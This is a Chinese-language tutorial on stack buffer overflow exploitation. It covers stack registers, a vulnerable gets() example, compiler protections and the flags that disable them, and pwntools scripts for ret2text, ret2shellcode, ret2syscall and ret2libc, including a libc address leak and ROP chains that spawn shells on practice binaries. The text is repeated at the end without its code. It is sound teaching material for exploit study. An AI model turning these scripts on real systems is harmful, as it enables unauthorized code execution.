栈溢出详解
字数 1277 2025-08-05 08:35:55

栈溢出漏洞利用详解

一、函数调用栈基础

1. 关键寄存器

  • esp: 存储函数调用栈的栈顶地址,在压栈和退栈时变化
  • ebp: 存储当前函数状态的基地址,函数运行时不变,用于索引函数参数或局部变量
  • eip: 存储即将执行的程序指令地址,CPU按eip内容读取执行指令

2. 函数调用过程示例

#include <stdio.h>
int sum(int x, int y) {
    return x + y;
}
int main() {
    sum(1, 2);
    return 0;
}
  • main调用sum时,参数1、2逆序压入栈
  • sum执行完后返回到sum(1,2)的下一条指令(return 0)
  • 调用sum前会保存main的栈帧信息(PUSH Caller's ebp)

二、栈溢出原理

1. 典型栈溢出示例

int vulnerable() {
    char buffer[8]; // [esp+8h] [ebp-10h]
    gets(buffer);
    return 0;
}
  • buffer开辟8字节栈缓冲区
  • gets()无长度限制,输入超过8字节可造成栈溢出
  • 可覆盖关键内存如返回地址

2. 栈溢出利用步骤

  1. 确定溢出点位置(填充多少垃圾数据)
  2. 覆盖返回地址
  3. 构造payload执行恶意代码

三、保护机制与绕过方法

1. 常见保护机制

保护机制 描述 关闭选项
RELRO 防止GOT表改写 gcc -z norelro
Stack Canary 栈溢出检测 gcc -fno-stack-protector
NX 栈不可执行 gcc -z execstack
PIE 地址随机化 gcc -no-pie
FORTIFY 危险函数替换 gcc -D_FORTIFY_SOURCE=0

2. 检查保护机制

使用checksec工具检查二进制文件保护:

Arch:    程序架构(决定用p32/p64)
RELRO:   Partial/Full
Stack:   Canary found/NX enabled
PIE:     PIE enabled

四、栈溢出利用技术

1. ret2text

  • 利用程序中已有的后门函数
  • 示例:
from pwn import *
io = process("./ret2text")
get_shell_addr = 0x8048522
payload = b'A'*16 + b'BBBB' + p32(get_shell_addr)
io.sendline(payload)
io.interactive()

2. ret2shellcode

  • 适用于NX关闭的情况
  • 将shellcode写入可执行区域
  • 示例:
from pwn import *
context.arch = "amd64"
io = process("./ret2stack")
shellcode = asm(shellcraft.amd64.sh())
payload = shellcode.ljust(120, b'a') + p64(0x7fffffffe0e0)
io.sendline(payload)
io.interactive()

3. ret2syscall

  • 通过系统调用获取shell
  • 需要构造ROP链设置寄存器:
    • eax = 0xb (execve系统调用号)
    • ebx = "/bin/sh"地址
    • ecx = edx = 0
  • 查找gadget:
ROPgadget --binary ret2syscall --only('pop|ret')
ROPgadget --binary ret2syscall --string '/bin/sh'
ROPgadget --binary ret2syscall --only "int"
  • 示例:
from pwn import *
io = process('./ret2syscall')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx = 0x0806eb90  
int_80 = 0x08049421
bin_sh = 0x080be408
payload = flat([
    b'A'*112, pop_eax_ret, 0xb,
    pop_edx_ecx_ebx, 0, 0, bin_sh,
    int_80
])
io.sendline(payload)
io.interactive()

4. ret2libc

  • 利用libc中的函数(如system)
  • 动态链接过程:
    1. 首次调用函数跳转到plt表
    2. plt表项跳转到got表
    3. got表初始指向plt解析代码
    4. 解析后填入真实地址

(1) ret2libc1

  • 程序中有system和"/bin/sh"
from pwn import *
io = process("./ret2libc1")
sys_plt = 0x8048460
binsh = 0x08048720
payload = b'A'*112 + p32(sys_plt) + b'a'*4 + p32(binsh)
io.sendline(payload)
io.interactive()

(2) ret2libc2

  • 需要自己写入"/bin/sh"
from pwn import *
io = process("./ret2libc2")
sys_plt = 0x8048490
buf2 = 0x804a080
gets_plt = 0x8048460
payload = b'A'*112 + p32(gets_plt) + p32(sys_plt) + p32(buf2) + p32(buf2)
io.sendline(payload)
io.interactive()

(3) ret2libc3

  • 需要泄露libc地址
# 需要先泄露函数地址,再计算libc基址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']

# 泄露puts地址
payload = b'A'*112 + p32(puts_plt) + p32(main) + p32(puts_got)
io.sendlineafter("message:", payload)
puts_addr = u32(io.recv(4))

# 计算system地址
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc_base = puts_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

# 第二次溢出
payload = b'A'*112 + p32(system) + b'BBBB' + p32(binsh)
io.sendline(payload)
io.interactive()

五、实用工具与命令

  1. 检查保护机制:
checksec binary
  1. 查找字符串:
ROPgadget --binary file --string "/bin/sh"
  1. 查找gadget:
ROPgadget --binary file --only "pop|ret"
  1. 查看系统调用号:
cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep "execve"
  1. GDB调试命令:
gdb binary
b main    # 在main函数设断点
r         # 运行
n         # 步过
s         # 步进
x/20x addr # 查看内存
stack 20  # 查看栈

六、总结

栈溢出利用关键点:

  1. 确定溢出点位置(动调最准确)
  2. 根据保护机制选择合适的利用技术
  3. 构造ROP链时要考虑栈平衡
  4. 动态链接环境下需要计算libc基址
  5. 合理使用工具辅助分析

通过系统学习这些技术,可以逐步掌握栈溢出漏洞的利用方法,从简单到复杂,最终能够应对各种保护机制的组合。

栈溢出漏洞利用详解 一、函数调用栈基础 1. 关键寄存器 esp : 存储函数调用栈的栈顶地址,在压栈和退栈时变化 ebp : 存储当前函数状态的基地址,函数运行时不变,用于索引函数参数或局部变量 eip : 存储即将执行的程序指令地址,CPU按eip内容读取执行指令 2. 函数调用过程示例 main调用sum时,参数1、2逆序压入栈 sum执行完后返回到sum(1,2)的下一条指令(return 0) 调用sum前会保存main的栈帧信息(PUSH Caller's ebp) 二、栈溢出原理 1. 典型栈溢出示例 buffer开辟8字节栈缓冲区 gets()无长度限制,输入超过8字节可造成栈溢出 可覆盖关键内存如返回地址 2. 栈溢出利用步骤 确定溢出点位置(填充多少垃圾数据) 覆盖返回地址 构造payload执行恶意代码 三、保护机制与绕过方法 1. 常见保护机制 | 保护机制 | 描述 | 关闭选项 | |---------|------|---------| | RELRO | 防止GOT表改写 | gcc -z norelro | | Stack Canary | 栈溢出检测 | gcc -fno-stack-protector | | NX | 栈不可执行 | gcc -z execstack | | PIE | 地址随机化 | gcc -no-pie | | FORTIFY | 危险函数替换 | gcc -D_FORTIFY_SOURCE=0 | 2. 检查保护机制 使用 checksec 工具检查二进制文件保护: 四、栈溢出利用技术 1. ret2text 利用程序中已有的后门函数 示例: 2. ret2shellcode 适用于NX关闭的情况 将shellcode写入可执行区域 示例: 3. ret2syscall 通过系统调用获取shell 需要构造ROP链设置寄存器: eax = 0xb (execve系统调用号) ebx = "/bin/sh"地址 ecx = edx = 0 查找gadget: 示例: 4. ret2libc 利用libc中的函数(如system) 动态链接过程: 首次调用函数跳转到plt表 plt表项跳转到got表 got表初始指向plt解析代码 解析后填入真实地址 (1) ret2libc1 程序中有system和"/bin/sh" (2) ret2libc2 需要自己写入"/bin/sh" (3) ret2libc3 需要泄露libc地址 五、实用工具与命令 检查保护机制: 查找字符串: 查找gadget: 查看系统调用号: GDB调试命令: 六、总结 栈溢出利用关键点: 确定溢出点位置(动调最准确) 根据保护机制选择合适的利用技术 构造ROP链时要考虑栈平衡 动态链接环境下需要计算libc基址 合理使用工具辅助分析 通过系统学习这些技术,可以逐步掌握栈溢出漏洞的利用方法,从简单到复杂,最终能够应对各种保护机制的组合。